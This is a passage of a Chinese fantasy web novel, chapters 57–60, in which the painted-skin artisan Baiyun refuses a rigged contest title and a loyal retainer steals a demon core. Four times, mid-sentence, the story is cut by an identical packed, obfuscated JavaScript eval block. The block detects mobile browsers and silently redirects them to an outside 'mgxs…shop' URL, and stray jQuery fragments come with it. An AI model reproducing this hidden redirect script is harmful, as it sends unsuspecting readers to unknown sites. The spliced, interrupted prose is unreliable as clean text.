转瞬间,那柄伴随霜叶、快如疾风的弯刀,终于彻底脱离了主人的掌控,旋转着飞了出去,最终无力地掉落在远处的阴影里,发出一声不甘的轻鸣。 霜叶踉跄站稳,左手本能地按向空荡荡的右腕,绿瞳中第一次清晰地浮现出惊愕与难以置信。 她猛地抬头,目光如冰锥般刺向周延玉背上的百灵。 密室中,空气仿佛凝固。 周延玉缓缓收回妖鞭,他周身伤痕累累,气息粗重,但已然胜券在握,一股无言的气势弥漫开来。 百灵伏在他背上,脸色苍白如纸,小腿的伤口疼痛阵阵袭来,但她的眼睛却亮得惊人,里面倒映着的不再是紧张。 武器已失,平衡已破。 霜叶知道,对方看出了自己的弱点,胜负已定。 周延玉也不会给她拿回武器的机会,只要她一动,鞭子立刻会缠住她。 她声东击西,佯装要去捡武器,却在关键时刻调转方向,从密室的暗门逃走了。 周延玉并没有追击的意图,于他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188121|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而言,保住身体,目的就已经达到了。 他小心翼翼将百灵放下来,不小心摸到了百灵小腿上凹凸不平的伤口。 “你受伤了?”他声音一紧。 紧绷的弦骤然松开,百灵浑身力气仿佛被抽空,软软向下滑去。周延玉展臂将她稳稳揽住。 “我们……赢了。”她靠在他怀里,声音带着脱力后的轻颤,还有一丝欣慰。 “嗯,”他低声回应,“多亏有你。” 百灵却轻轻摇头,她不觉得这是自己的本事,更多是运气使然,更何况,护住这具身体,本就是她该做的。 “你的肩膀……”她抬起手,指尖虚虚拂过他肩头碎裂处,声音里掺进歉意,“回去我替你补好。还有别处的伤,我都会补好。” 手将要垂下时,却被周延玉中途握住。 百灵这才后知后觉地意识到此刻的姿势,她倚偎在他怀中,手被他攥在掌心,体温交融。 这太过亲昵,可奇怪的是,她并不排斥。 许是早已习惯小骨的贴近,又或许是面对这具由她亲手雕琢而成的身体,她心底总萦绕着一份特殊的、近乎本源的亲近感。 见她未有推拒,周延玉心尖微动,引着她的手,贴上自己的脸颊,再用自己的手掌轻轻覆住。 “这具身体,”他嗓音低缓,一字一句,“是你的。” 梦境变成了现实,画中人活过来了。 一时间,百灵有些恍惚,想起了曾经那个旖旎的梦,梦中那片朦胧的雾气,似乎又漫了上来。 “我是你的,愿为你……奉献一切。” “你是我的。”她鬼使神差,喃喃接出了声。 周延玉浑身几不可察地一僵。倘若他有眼睛,此刻定已瞪大了。 他看不见她的神情,怀疑他听的话语更像幻听,搅得他心神骤乱。 他闭着眼,眉宇因震惊而微蹙,唇也无意识般轻轻张开,伤痕遍布的身体,于昏暗中竟显出一种脆弱的、惊心动魄的美。 “真美……”百灵似是陷了进去,指尖依着轮廓,在他颊畔流连。 周延玉屏住呼吸,不敢妄动,生怕惊扰了这如梦似幻的触碰。 然而,最初的悸动渐渐发酵,化作另一种更磨人的焦灼。 百灵的手不知不觉游移了周延玉的唇畔,指腹的茧子轻轻磨着、揉捏着。 那是她最喜欢的地方。 周延玉环抱着她的手臂,难以自控地轻颤起来。 百灵全然沉浸在自己的世界里,未曾察觉他的煎熬。 这么好看柔软的嘴巴,亲一下的感觉是什么样的?应该会不错吧…… 她长这么大,还没试过亲吻是什么感觉呢? 她想着想着,身体已经不自觉行动了,双臂攀上周延玉的脖子,迫使他低头靠近自己。 气息交缠,双唇即将相触的刹那。 周延玉猛然惊醒,倏地侧头避开,手臂也松了开来。 “对不住,”百灵恍然回神,尴尬地低语,“我忘了……你的存在。” 周延玉如遭雷击,浑身血液仿佛瞬间冷却。 这里……除了他们,还有谁? “你是我的……” 她方才的呢喃在耳畔回响,她说的不是自己吗? “很美……” 周延玉反复咀嚼回忆,碎片拼凑,真相残酷地浮出水面。 她眼中看到的、指尖留恋的、情不自禁想要亲吻的,从来不是他周延玉。 而是这具,她亲手塑造的身体。 58. 第 58 章 百灵带着周延玉的身体归来,而周延玉则安静地蜷缩回小狗的形态。 得知百灵找回了身体的消息,宋清河很开心,以为她改变了主意准备参加明天的决试。 她特意来找百灵,正巧碰见她在修补周延玉因为受伤留下残缺的身体。 宋清河震惊道:“怎么回事?看身体的人做了什么,怎么变成这样了?” “说是不小心磕到了。”百灵冷静回应,随即转移话题道,“没事,我很快能补好的。” “嗯嗯,那你要抓紧了,别耽误明天的展示。”宋清河松了口气。 “明天?”百灵停下动作,扭头皱眉道,“什么明天?” 宋清河理所当然道:“明天的比试啊。” “我不参加啊。” 百灵回答的干脆,宋清河又愣住了。 只是这次,她心中又多了分不一样的情绪。 一股无名的怒火自心底袭来。 百灵不是为了比赛才去拿回自己捏制的身体,而且单纯为了这具身体,准确来说,是为了这个假人。 根本没有灵魂的假人。 同时,一个坚定的信念浮现出来:百灵已经走火入魔了。 她爱上了自己创造的身体,为了逃避比试,逃避现实,她对这个虚假的人更加着迷,即使不为了比试也要留下它。 她本以为百灵的思路是眼不见心不烦,可如今,百灵已然转换了思路,不再把这个假人当成是作品,而是一个寄托。 百灵不该是这样的,至少在宋清河的眼里,她不该这样的。 “如果你是来劝我的,那请回吧。” 宋清河尚未开口,百灵已经事先下答了逐客令。 “哼。”宋清河轻轻冷笑了一声。 而后,她向前两步,嘲讽道:“我没有闲工夫去劝一个懦夫。” 闻言,百灵先是不可置信僵住,想不明白宋清河为何突然这样说自己。 退出比试是她自己的事,她哪里招惹到了她吗? 还是说宋清河自己心情不好,发泄到了她身上? 但很快,百灵便否决了这个判断,因为宋清河见她不回应,又继续输出了。 “因为你这样有用吗?你以为逃避可以解决问题吗?你以为你不参加比试一切就万事大吉吗?” 宋清河一连串抛出了三个问题,百灵总算是明了了。 但她依旧认为宋清河是在激将法逼她参加。 “你说的没错,逃避没有用,但至少,我可以避免让自己堕落,走向那条我不想走的路。” 面对情绪激动的宋清河,百灵还是比较淡定,因为她认为宋清河没什么恶意。 “你错了百灵,你如果真的不想走那条路,谁逼你都没用,但你如果真的是属于那条路上的人,根本都不需要风吹,自己会推着自己走的。” 宋清河这番话确实戳中了百灵的心理。 因为比起担心叶知舟胁迫她走上那条路,她更担心是自己抵抗不住诱惑所以自愿同流合污。 如果是前者,她还能找理由都是叶知舟的错,但如果是因为后者,她怪不了任何人。 所以她选择在事情还没有发生到来之前,还没有到不可挽回的地步,彻底切断联系和任何的可能性。 但是在宋清河面前,她不可能承认,承认她说中了自己的痛处,承认自己不够坚定。 “我和你不一样,我没那么多选择,也对抗不了他,对我来说,不参加是一种生存的智慧,我想你是不会明白的。” 百灵的言外之意,无疑是想通过两人的背景和阶级将他们划分开来,从而告诉宋清河,他们不是一路人,请不要再多管闲事了。 话里划出的界线,清晰又刻薄。 在她看来,百灵是在讽刺自己何不食肉糜。 “是,我是不明白你,但你以为自己很懂吗?”宋清河毫不留情面道,“就算你真不去参加,你难道想不到叶知舟还能有其他办法逼你吗?” “有没有一种可能,你以为的生存的智慧,在他的眼里,不过是一种示弱的信号?” 百灵别过头去,不想再和宋清河说话。 “如果我是他,一定不会放过你的。”但宋清河还是抓着她不放。 “是吗?”百灵笑了,转过头回击道,“你这么了解他吗?还能这么自然地把自己也带入,不会是他派你来劝我的吧。” 在宋清河莫名的坚持下,百灵忽视想到了曾经一个未能解答的疑惑。 那就是第二次比试时的冥婚,叶知舟和宋清河之间有过一场见不得人的交易,她至今不清楚二人到底各自怀揣什么意图。 但她能明白,二人之间有交集,还发成过某种共识。 而且她得知自己做的身体丢了,也是宋清河来告诉自己的,再加上宋清河执着劝阻自己,这些只是单纯的巧合吗? “我帮他?”宋清河气笑了,反唇相讥,“我有必要吗我帮他,而且对付你这种还没打就认输的人,需要我们一伙人联手解决吗?” 百灵也被激起了火气,口不择言道:“我认输了又怎么样?好歹我是凭着实力一路走过来的,这本来就不是什么有分量的比赛,最后的输赢如何,我才不在乎。” “实力?”宋清河像是听到了什么天大的笑话,不屑道,“如果你真的凭实力,我告诉你,你连报名那一关都过不去。” 因为这是一场彻头彻尾的关系户们之间的比试。 “那不是正好吗?我早就不该来参加的,退出比赛,不也正合你的意吗?” “百灵,你不要把自己的胆小懦弱强加在我的身上,是我确实背后有人撑腰,但那不代表我可以在这场比试里面可以为所欲为。” 百灵摇了摇头:“至少你可以比我更自在。” “所以呢,我比你更自在了又如何呢?叶知舟他确实在针对你没错,如果是我,我也很难抉择。我可以告诉你,他不仅是在针对你,还是在试探你。” 百灵神色忽视变得严肃,抬眼认真看向宋清河。 “他在试探你的底线,试探你的容忍程度,试探你敢不敢跟他反抗。而是你现在的反应,分明是在告诉她,我是一只待宰的羔羊。” 百灵不得不承认,宋清河和说的更有道理,一直以来,她都在想着自己该怎么脱局,但是没有想过,叶知舟会怎么样。 而且她现在身上还绑定着周延玉这样一个不确定的因素,更让叶知舟不会轻易放过她。 她逼近一步,目光紧紧锁住百灵闪躲的眼睛,字字如锤。 “如果你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192193|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明天不要不去参加比赛的话,相信我,他可以让你身败名裂,而你连为自己辩解的机会都没有,就像上次一样。” 百灵坚固的心防,终于被砸开了一丝裂隙,她不得不承认,宋清河的话,是很有可能发生的。 “难道我去了,就能改变什么?”百灵的声音里透出一丝无力。 宋清河顿了顿,眼底闪过复杂难明的情愫,语气不由自主地软了一瞬:“你没去,那一定没有机会,你去了,结局也许就会不一样。” ……会不一样吗? 百灵不知道。 “我以前认识的那个百灵,我相信她一定会去的。” “……” 百灵沉默着,心乱如麻。 宋清河不再选择劝她,而是将视线转向了百灵面前的假人。 “我必须要提醒你一下,画皮师对自己的作品有感情就很正常,但如果这种感情变质了,那就不好了。” 说完,她静静开始打量百灵脸上的表情变化。 她心虚别开了视线,正如她上次开玩笑问她“是不是爱上了假人”时一模一样。 “多看看真实的人吧。” 留下这句话之后,宋清河便离开了。 …… 蜷缩在角落的周延玉默默听完了二人对话的全部。 起初听到宋清河没由来的职责,他和百灵一种生气。 但宋清河的立场,他是认可的。 他也希望百灵能参加决试,有始有终。 最后百灵的沉默也让周延玉看到了一丝希望。 至少她动摇了。 周延玉悄无声息走到百灵身边。 “都听到了?”百灵问。 “嗯。”周延玉坦然承认。 “你会不会也觉得我是胆小鬼?” 在被宋清河点破后,百灵似乎能真实去面对了。 只是承认这一点还是让她不那么开心。 “是。” 百灵指尖一颤,愕然抬眼,她原以为周延玉会安慰她,竟然直接顺着她的话说了。 “因为如果是我,也可能会这样。”周延玉接着解释道,“你的愧疚和害怕,我也可以理解。” 百灵望着他漆黑湿润的眼眸,那股因被揭穿而生的羞恼,竟奇异地消散了些许。 “可你也希望我去,对吗?” “对。” “那如果是你,遇到这样的事,你会去吗?”百灵还处于迷茫的状态。 “我不知道。”周延玉的回答再次出乎意料地坦率,“我更偏向直接把叶知舟解决了。” 周延玉看似没在老实回答,但这确实是他最可能做的事。 他无法容忍被叶知舟当成猴子一样耍,逼迫他做出自己根本不愿做的事。 “我的回答帮不了你。”周延玉知道自己的答案给不了百灵参考,又道,“你要问问自己的心,百灵。” “我也不知道,我害怕……”她低声呢喃,像是说给他听,又像是说给自己。 “如果你下定决心了,明天我可以跟着你一起,别怕。” 百灵怔愣片刻,然后反应过来:“你又要附身吗?” “嗯。”周延玉点头,“虽然可能帮不上什么忙,但至少你不会是一个人。” 59. 第 59 章 第二天的决试,定在了无忧阁前。 一方青石铺就的高台临街而设,缀着些鲜红灯笼,倒也算得上醒目。 台下早已围拢了不少看客,衣着各异,神色间多是好奇与几分事不关己的悠闲。 叶知舟一身暗绣云纹的深袍,立于台前,未语先笑,朝四方略一拱手,声音温润却清晰地传开。 “诸位友人,今日有幸,特请得大家来此,共鉴来自四海优秀画皮师的匠心之作,叶某不才,忝为主理,唯愿此番盛事,与诸位同乐。” 他语速不疾不徐,目光扫过台下,在白夭夭那张写满看热闹的脸上略微停顿,笑意更深了些。 “画皮的意义,最重要的是民意,故今日魁首谁属,不由叶某独断,而凭在场的诸位,每人一票,亲手投出心目中的最佳画皮师,票高者,即为首名。” 台下白夭夭闻言,撇了撇嘴,压低声音对身旁不知何人嘀咕:“民意,我看是托意吧,我们手里的票,怕不是早就姓叶了。” 她声音虽轻,却恰好让周围几人听得分明,引来几声心照不宣的低咳。 叶知舟转向台侧:“现在,有请历经数轮甄选、脱颖而出的诸位青年才俊登台。” 画皮师们依次而上,多是锦衣华服,气度不凡。 宋清河站在前列,一袭水蓝衣裙,清冷如莲,她的目光却越过旁人,终于在队伍末尾寻到了那个身影。 百灵依旧穿着她那身半旧不新的深色衣衫,低着头,仿佛要融进背景里。 直到叶知舟朗声念出“百灵”之名,她才微微抬头,快步走到最边的位置站定,背脊挺得有些僵直。 “诸位请看!”叶知舟侧身,抬手握住身后巨大垂幔的绳索,用力一拉。 绸布滑落,露出后方一字排开的数具作品,皆覆着轻薄的白纱,朦朦胧胧,引人遐想。 叶知舟示意,画皮师们各自走到自己的作品旁。 百灵站定在那具覆纱的身体旁,隔着一层薄布,仿佛能感受到周延玉沉默的存在,心中那点慌乱渐渐沉淀下去。 “请诸位画皮师们,先自述其作。”叶知舟含笑示意。 从左侧开始,画皮师们依次揭开白纱,介绍自己或华美、或精巧、或意蕴深厚的作品。 轮到宋清河时,她轻轻掀开薄纱,一具风姿绰约、眉目间与她有五分相似的女子身躯显露出来,衣袂飘飘,恍若神女临凡。 轻盈的姿态仿佛下一秒就要飞升成仙。 台下响起低低的赞叹。 宋清河却面色平静,声音清越。 “我的作品不是神,非是一位鬼女,是一心告别前尘、即将踏入冥界的鬼,正如每个在座的我们一样。” 她指尖轻拂过假人空茫的眼,“世人慕神,以为神仙自由自在,可神在天上,规矩森严。而鬼将入轮回,前缘已断,后事新生,身无挂碍,才是真正的自由。” 她的话语巧妙地勾起了台下许多鬼魂对投胎的向往与共鸣,引来阵阵点头私语。 终于,轮到了百灵。 她深吸一口气,揭开了白纱。 周延玉的身体静静地立在那里,没有炫目的装饰,没有飘飞的衣带,只有近乎完美的、明晃晃炫技的体态与容颜。 肌肤光泽温润,仿佛自带一层柔光,五官精致得挑不出错处,尤其一双琥珀色的眼眸,摄人心魄。 “此身名为‘玉’。”百灵开口,声音不大,却清晰,“取美玉无瑕之意,画皮之道,所求无非尽善尽美,这个身体,便是我在此道上的执念。” 台下反应各异。有人眯着眼细瞧,惊叹:“那眼睛里头含着光似的,不知用的什么宝石,竟如此剔透传神。” 但也有人摇头,低声道:“美则美矣,太过了些,像个精雕细琢的木偶。” 等待所有画皮师都介绍完,叶知舟又指引道:“想必听完各位画皮师的自述,大家心中应该已经有所偏爱。现在,请依次上台,将手中的票,投入你属意之作前的票箱之中。” 投票开始,人群排队上前,果然如白夭夭所料,不少人看似随意,却目标明确将票精准地投入了特定的箱中。 白夭夭自己则蹦跳着来到百灵面前,冲她俏皮地眨了眨眼,手腕一翻,将手中的票投给了百灵,然后用口型无声说了句:“灵姐,加油!” 百灵轻轻点头,微笑着回应白夭夭。 投票结束,于众目睽睽下开始计票。 结果毫无悬念,又似乎在意料之外,百灵的得票数量赫然居首。 可获得魁首的百灵却毫无波澜,等待着叶知舟接下来的发难。 果然,叶知舟抚掌笑道:“众望所归,恭喜百灵姑娘,拔得头筹!” 他转向百灵,语气温和坚定:“百灵姑娘出身虽寒微,但天赋异禀,勤勉有加,实乃画皮行当难得之璞玉。叶某在此,愿以首席画皮师之位,邀请百灵姑娘加入我叶某的画皮坊,从此潜心技艺,扬名立万。” 他刻意点出出身寒微,又许以名利,一番话既显自己不拘一格降人才,又将百灵架到了不识抬举便是辜负厚望的火上。 台下顿时响起附和与羡慕之声。无数目光集中在百灵身上,等待她激动谢恩。 宋清河也紧张看向百灵的方向。 百灵却在此时,对着台下众人,深深一福。 她抬起脸,面色诚恳:“承蒙叶老板厚爱,诸位抬举,百灵实在愧不敢当。” 闻言,叶知舟眉梢微动。 百灵转身,指向身旁那张完美脸上流光溢彩的右眼:“此身能成,百灵不敢贪功,若无这一枚千年花珀为点睛之笔,神韵便无从谈起。” “而此珀……”她目光迎上叶知舟,话锋一转,“乃是比试途中,叶老板您亲手所赐,百灵一直铭记于心,不敢忘却。” 台下哗然! 虽然众人皆知这是一场关系户之间都较量,但并没有人会将此拿到明面上来说,百灵的话,无疑是在打叶知舟的脸。 叶知舟眼底的笑意淡去,笼上一层薄冰。 “若无叶老板雪中送炭,百灵绝无可能完成此作。”百灵语气越发谦卑,话却如绵里藏针,“一场比试,作为魁首竟有他人慷慨相助之嫌,试问公正何在?” 她再次向台下众人行礼:“为保全叶老板和比试的清誉,这魁首之名,百灵万不敢受,自愿放弃资格与奖赏。” 她看向叶知舟,眼神里写满势在必得:“叶老板邀百灵入楼,是看得起百灵,但百灵德不配位,强行加入反而会累及您的声名,此等不义之事,百灵宁死不为。” 字字谦卑,句句诛心。 台下一片死寂,所有人都处于一种状况外的困惑之中。 叶知舟并未回应百灵,而是转向众人,扬声道:“既如此,魁首自愿弃位,按例由次名递补,恭喜宋清河姑娘。” 宋清河上前,神色复杂地接过了代表首名的玉牌,目光掠过百灵,欲言又止。 仪式结束,叶知舟却忽然郑重宣布:“除却民意票选的魁首,本届画皮比试同行互选之票,亦已计出,获同行认可最多者……” 他故意拖长了音调,目光如钩,再次锁住百灵:“仍是百灵姑娘。” 百灵眉头微皱,想不到叶知舟还不死心。 “百灵姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196768|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举目无亲,又囊中羞涩,叶某确实赠送百灵姑娘一枚琥珀石相助,但我相信,就算没有我的帮助,百灵姑娘依旧能完成佳作。” “百灵姑娘的技艺,流落在外,实乃业界损失。因此,叶某斗胆再问一次,百灵姑娘,可愿为同行表率,加入我的画皮坊呢?” 压力再次如山倾来,众人目光灼灼,再次转向百灵。 “叶老板虽然坏了规矩,但总归还是惜才的。” “是啊是啊,这小姑娘也没什么来头,能走到今天呢,还真是得好好感谢叶老板。” 叶知舟故作低姿态的二次邀约,扭转了局势。 百灵抿紧嘴唇,就在她思绪飞转,寻不到万全之策时。 她身旁,那具一直静立的周延玉,毫无征兆地,向前轻轻迈了一步。 “嗬!”离得近的看客吓得纷纷倒退一步。 “我没看错吧,这个假人是不是动了?” “什么东西?见鬼了吗?” 众目睽睽之下,周延玉缓缓挪动身体,转动那嵌着花珀的美丽眼眸,先是望向叶知舟,又看了看台下惊骇的众人。 一个低沉而清晰的男声,从那完美的唇间吐出: “我,并非假人。” 一石激起千层浪!惊呼声四起。 此时百灵的震惊,并不比那些看客们少,她凝视着周延玉的背影,一种说不出的感觉,在心中蔓延开来。 有的时候,她真的分不清楚,是她自己做的人活了过来,还是周延玉拿回了属于他自己的身体。 假人,或者更准确的说,周延玉,继续用足以让所有人听清的语调说道:“初遇百灵时,我才入冥界,身体受创,几乎只剩下了骨头架子。” “那时的我万念俱灰,是她,一个四处游离画皮师,不问我来历,不计较报酬,一点点为我修补,重塑此身。而我为了回报他,选择成为她的作品,站在今天这个台上来。” “可若她已是某间铺子里坐堂的师父,规矩繁多,身份有别,绝不会能接下我这样的麻烦。” 他顿了顿,琥珀色的眸子落在百灵身上,又似乎穿透她看向更远的地方:“她所追求的,从来不是在某间铺子里登峰造极,而是用自己的手,去帮每一个需要修补的鬼魂,无论高低贵贱。” “自由没有拘束,才是她能帮我的原因,也是她手艺的灵魂,所以我不认为,将她关进一间铺子,是对她,或是对她手艺的成全。” 他最后的话语落下,台上台下,鸦雀无声。 这番说辞,出自一具死而复生的假人之口,离奇却又莫名地撼动人心,尤其触动了许多在冥界挣扎、渴望一丝温暖帮助的普通魂灵。 百灵怔怔地看着周延玉,眼眶骤然发热。她深吸一口气,转向叶知舟和众人,声音带着一丝颤意,却无比坚定: “他说得没错,我百灵,只是个普通的画皮师,也曾有过扬名立万的野心,但我想更重要的是,凭我的手艺,帮能帮之人,做应做之事。” “辜负叶老板美意,百灵在此赔罪。从今往后,百灵自立门户,绝不再接受叶老板任何形式的帮助,一切生计技艺,凭自己双手挣取。” 她环视台下,目光清澈:“今日,诸位皆可为证。” 说完,她不再看叶知舟瞬间阴沉如水的脸色,也不理会周遭的哗然与窃语,只是伸出手,轻轻握住了周延玉那具身体冰凉的手心,低声道:“我们走。” 他们一步步走下高台,穿过自动分开的人群,背影挺直,走向冥界长街那望不见尽头的昏朦光晕之中。 将所有的一切,那些枷锁和束缚,尽数抛在了身后。 60. 第 60 章 “霜叶,以你的身手,怎会败给一个失了妖丹的周延玉?” 周玄玉的声音里听不出喜怒,却比直接的斥责更让人心头发沉。 “……” 面对周玄玉的责问,霜叶一时无言。 对于这次的失败,她心中十分挫败,因为她也没想到自己会输。 而且不是输给周延玉,是输给一个普通人,那个看似毫无威胁手无缚鸡之力的百灵。 “我没了右手,战斗时身体不好平衡,被他们抓住了破绽。” 霜叶语气平淡地回复。 “我早就和你说了,让叶之舟给你补上,他一定会给你最好的材料,绝对和你原先的一模一样。” 周玄玉话里话外透着不满的怨气。 霜叶却意料之中的平静,反问道:“周玄玉,你说我们是妖还是人。” 对面沉默片刻,随即道:“自然是妖。” “那为什么要给自己装一只人的手?”霜叶的声音里渗出一丝自嘲,“就算装上了,化成原形的时候,不还是一只三条腿的豹子。” 霜叶反复提及自己丢失的右臂,周玄玉想起,这条手臂终究是为了他的命令才丢的,喉间那点未散的苛责便咽了回去。 更何况,霜叶当初并未立刻告知他断臂之事,他还是从叶知舟口中得知,那份迟来的愧疚,也早在她长久的沉默中,被时光磨得稀薄了。 他语气缓了下来,带上几分示弱般的沉重:“我如今虽暂代延玉之位,可底下多少眼睛盯着,都惦记他的下落,我的日子也并不好过。” 霜叶没有接话,她听得出这柔软话语下的意图,无非是想用处境艰难,逼她再去搏命。 但她这次不想了。 “所以我思来想去,想到了一个更为妥帖的方法,只需要你帮我带个人回来。” 周玄玉话锋一转,提出了一个新的要求。 霜叶问:“谁?” “卫影。” 卫影,霜叶自然是知道的,只是她没明白怎么个带法。 “你是想让我把他打晕了带回来,还是怎么说?” “不必那般麻烦。”周玄玉语气笃定,“卫影我很早之前就交涉过,你只需告诉他,妖界这里需要他。” 霜叶惊道:“你什么时候策反的他?” 卫影很忠心,在妖界并非是公开的事实,霜叶自然清楚,他怎么会随便抛下周延玉一人回到妖界呢。 周玄玉却从容道:“不用策反,他原先也并不坚定,延玉实力强大,但不懂得御人,白白浪费卫影这么好的苗子。” “可是如果他突然消失,周延玉怀疑怎么办?” “他怀疑也没用,就算他猜到卫影回来了,他也不会跟着回来的。” …… 百灵从决试现场潇洒离开之后,在底下旁观了一切的白夭夭准备去找百灵问清楚。 她也看出来了叶知舟的不对劲,很明显邀请百灵加入自己的画皮坊不安好心,不然百灵也不会几次三番的拒绝。 但她知道从叶知舟那里肯定问不出个是非,他肯定又胡说八道敷衍自己。 所以还是直接去找百灵最好。 而且她也很担心,百灵公然和叶知舟对着干,小心眼的叶知舟肯定不会就此揭过的。 但她来到百灵的住处时,没找到百灵。 就在她一无所获折返之时,撞见了卫影。 白夭夭高兴主动挥手向卫影打招呼:“卫影!” 卫影的身影稍一怔愣,随即才缓缓向着白夭夭方向走来。 “白姑娘。” “你怎么了?心事重重的?”白夭夭一眼看出卫影状态不大对劲,总之和上次见面时不一样。 “没事,只是昨晚没大睡好。” “哦哦。”白夭夭点点头,“那你知道灵姐去哪了吗?我有事找她。” 卫影摇了摇头:“抱歉,我不太清楚。” 白夭夭又问:“那小骨呢?你知道他吗?” 得到的依旧是否定的答案。 白夭夭还是不死心追问道:“那灵姐回来的时候状态怎么样?你有没有印象?” 卫影一脸茫然。 “你白天难道不在吗?”卫影表现太过反常,白夭夭忍不住又问。 “我白天,在忙其他的事。” 怎么可能呢,不管是作为宋清河的学徒,还是周延玉的伙伴,卫影都该在现场才对。 虽有万般疑惑,但白夭夭知道,再问下去可能不太礼貌了,而且卫影也不可能对她毫无保留的实话实说。 “白姑娘,我可以麻烦你一件事吗?”一直被动的卫影忽视开口道。 “你尽管说。”白夭夭爽快道。 “今天晚上你就当没有见过我,好吗?” 白夭夭心下一惊,卫影果然有猫腻。 “我可以帮你,但你得告诉我原因。” 白夭夭非常小心谨慎,她总觉得卫影的刻意隐瞒,和百灵他们有些关系。 “是这样的,我本来是要替宋小姐置办行李,但我偷懒溜出来了,如果她知道了,肯定要骂我了。” 白夭夭沉思几秒,直觉告诉她事情没那么简单,但她也不好当面质疑卫影。 “好,我懂了。”白夭夭还是笑着答应下来,“放心吧,我会帮你保守秘密的。” “多谢。”卫影如释重负。 …… 就在遇见白夭夭之前,卫影偷偷潜入了百灵的房间。 他拿走了周延玉的妖丹。 本来他并不打算这么做,他甚至还劝说周延玉把妖丹带在身上。 但是经过了和霜叶一事,周延玉认为对方的目标不在于他的妖丹,而是他的身体,所以还是大胆选择继续放在百灵那里。 卫影觉得他实在是太不理智了。 他认为既然已经发生了这样的事情,那就应该更加防范,上次他的妖丹不在身体里面是侥幸,这次就应该吸取教训。 百灵也认可了他的说法,一同劝说周延玉还是把妖丹收走吧。 但周延玉始终固执己见,坚持要让百灵带着他的妖丹上场决赛。 卫影觉得他不可理喻,但又不敢表现太明显,只能暗自生气,找了个理由推脱没有去比赛的现场。 妖王已经被爱情冲昏了头脑,作为下属的他,绝对不能放任不管。 所以他偷偷来到百灵的房间,拿走了周延玉的妖丹。 其实这也不是他第一次这么做,那次劝百灵去找周延玉时,他就曾偷偷拿了妖丹,但百灵回心转意要参加比赛,他不得已只能放回去。 他虽然不后悔自己做出这样的事情,但是很担心接下来该怎么隐瞒。 不管怎样,放在他这里才是最安心的。 万分纠结的他想到了周玄玉,希望从他那里得到一些建议和指示。 和白夭夭告别后,他拿出周玄玉就给他的月牙吊坠,犹豫要不要说。 “卫影。” 就在这时,一个陌生的女声自身后响起。 在听到她的声音之前,卫影首先感受到的是来自她身上强大的力量。 他下意识拉响警笛,随时准备战斗。 “别紧张,我不是你的敌人。” 霜叶敏锐察觉到了气氛不对劲,主动开口道。 “你是谁?” 卫影依旧没有放松警惕,他转过身,想质问来者是谁。 与此同时,余光中,他瞥见了霜叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204177|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空荡荡的右臂。 ……她是和周延玉抢身体的人? 在周延玉的描述中,对方是一个没有右手臂且实力强大的妖怪,而这时突然又出现一个和他的描述如此相像的人,卫影不得不怀疑。 霜叶主动挑起话头:“看见我,你很惊讶?” 卫影强装镇定:“没有。” “是的,我就是那个输给君上的女妖怪。” 霜叶懒得和卫影周旋,直接挑明了自己的身份。 “你是叶知舟的人?” 见她如此直白,卫影也不装糊涂了。 “我是你手上那枚吊坠的人。” 玄玉哥的手下? 比起惊讶,卫影更多的是困惑,周玄玉为什么要得到周延玉的身体,而且这个事情也没有事先通知他。 “他现在,已经是新的妖王吧?” 其实卫影早就该猜到了,周延玉不在了,一定得有个人出来稳住局面,而这个人,最有可能是周玄玉。 但他不清楚的是,周玄玉是被迫推上台,还是心甘情愿的。 为了证明心中所想,卫影又试探道:“他派你来策反我吗?” “不是。”霜叶笑了笑,否认了他的想法。 看来周玄玉也不过如此,卫影就算不信任周延玉了,对他也没那么在意。 “其实,我们还挺像的呢。”霜叶并没有直入主题,“都是妖王的得力手下。” “妖界只有一个王。”卫影冷冰冰回应道。 “但这个王不会只是一个人。”霜叶反驳道。 “你到底是想来干嘛?”卫影失去了耐心。 “周玄玉托我来给你带话。”霜叶不再兜圈,“妖界需要你。” 需要我? 按以往,卫影听到这样的话肯定会很愉悦,但他现在不这么想了,隐隐中他觉得自己变成了周玄玉手中的一颗棋子。 